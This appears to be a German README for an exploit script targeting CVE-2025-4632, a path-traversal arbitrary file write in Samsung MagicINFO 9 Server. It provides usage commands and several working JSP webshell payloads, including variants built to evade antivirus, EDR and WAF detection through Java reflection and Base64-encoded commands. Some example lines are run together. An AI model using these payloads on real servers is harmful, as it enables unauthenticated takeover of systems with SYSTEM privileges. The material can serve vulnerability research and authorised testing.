Dieses Repository enthält ein Python-Replikationsskript für CVE-2025-4632, eine Sicherheitslücke für nicht authentifizierte Remote-Codeausführung (RCE) im Samsung MagicINFO 9 Server (Versionen vor 21.1052).
Dieses Repository enthält ein Python-Replikationsskript für CVE-2025-4632, eine Schwachstelle zur nicht authentifizierten Remote-Codeausführung (RCE) im Samsung MagicINFO 9 Server (Versionen vor 21.1052).
Die Schwachstelle existiert aufgrund einer unzureichenden Beschränkung eines Pfadnamens im SWUpdateFileUploader-Servlet. Durch die Nutzung von Path Traversal (../../) kann ein nicht authentifizierter Angreifer beliebige Dateien mit SYSTEM-Berechtigung schreiben, was zu einer vollständigen Kompromittierung des Servers führt.
s4e-io (aus der ProjectDiscovery-Nuclei-Community (http/cves/2025/CVE-2025-4632.yaml)).CVE-2025-4632 definierten Logik.Das Skript automatisiert den Prozess der Erstellung einer legitim aussehenden Geräte-Update-Anfrage. Es nutzt den Parameter fileName aus, indem es Directory-Traversal-Sequenzen einfügt, um aus dem vorgesehenen Upload-Verzeichnis auszubrechen und eine Datei direkt in das Web-Root-Verzeichnis (/MagicInfo/) zu schreiben.
Das Skript führt zwei Schritte aus:
/MagicInfo/servlet/SWUpdateFileUploader mit dem Traversal-Pfad./MagicInfo/<filename> zuzugreifen, um die erfolgreiche Ausnutzung zu bestätigen.python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>
-t / --target: Die Basis-URL des Ziels (z. B. http://192.168.1.100:7001).-f / --filename: Der Name der zu erstellenden Datei (z. B. shell.jsp).-d / --data: Der rohe Inhalt, der in die Datei geschrieben werden soll.Die folgenden Payloads wurden während Bewertungsaktivitäten erfolgreich getestet. Sie sind darauf ausgelegt, die Auswirkung zu beweisen und gleichzeitig die Sicherheitskontrollen der Endpunkte zu umgehen.
Wird verwendet, um die JSP-Ausführung sicher zu bestätigen, ohne Antivirus oder EDR auszulösen.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
Zugriff: http://<target>:7001/MagicInfo/poc.jsp
Eine standardmäßige JSP-Webshell. Hinweis: Diese kann von modernen AV/EDR-Lösungen erkannt und unter Quarantäne gestellt werden, was bei der Verifizierung zu einem 404 Not Found führt.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
Zugriff: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
Wird verwendet, wenn die Standard-Shell blockiert ist. Diese Payload verwendet Java-Reflection, um die Signatur Runtime.getRuntime().exec vor der statischen Analyse zu verbergen.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Zugriff: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
Sehr empfehlenswert für komplexe Befehle: Wenn Sie beim Ausführen von Befehlen mit Leerzeichen, Backslashes oder Sonderzeichen (z. B. dir c:\) auf 400 Bad Request-Fehler stoßen, blockiert die strikte URI-Validierung des Servers oder eine WAF die Anfrage.
Diese erweiterte Payload erwartet, dass der Befehl in der URL Base64-kodiert ist. Sie dekodiert ihn serverseitig vor der Ausführung, umgeht dadurch vollständig die URL-Filterung und verschleiert den Befehl vor Netzwerküberwachung.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Verwendungsbeispiele:
Kodieren Sie Ihren Befehl lokal in Base64 (z. B. echo -n "dir c:\" | base64) und übergeben Sie ihn dann an den Parameter c.
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==Haftungsausschluss: Dieses Skript dient nur zu Bildungszwecken und für autorisierte Penetrationstests.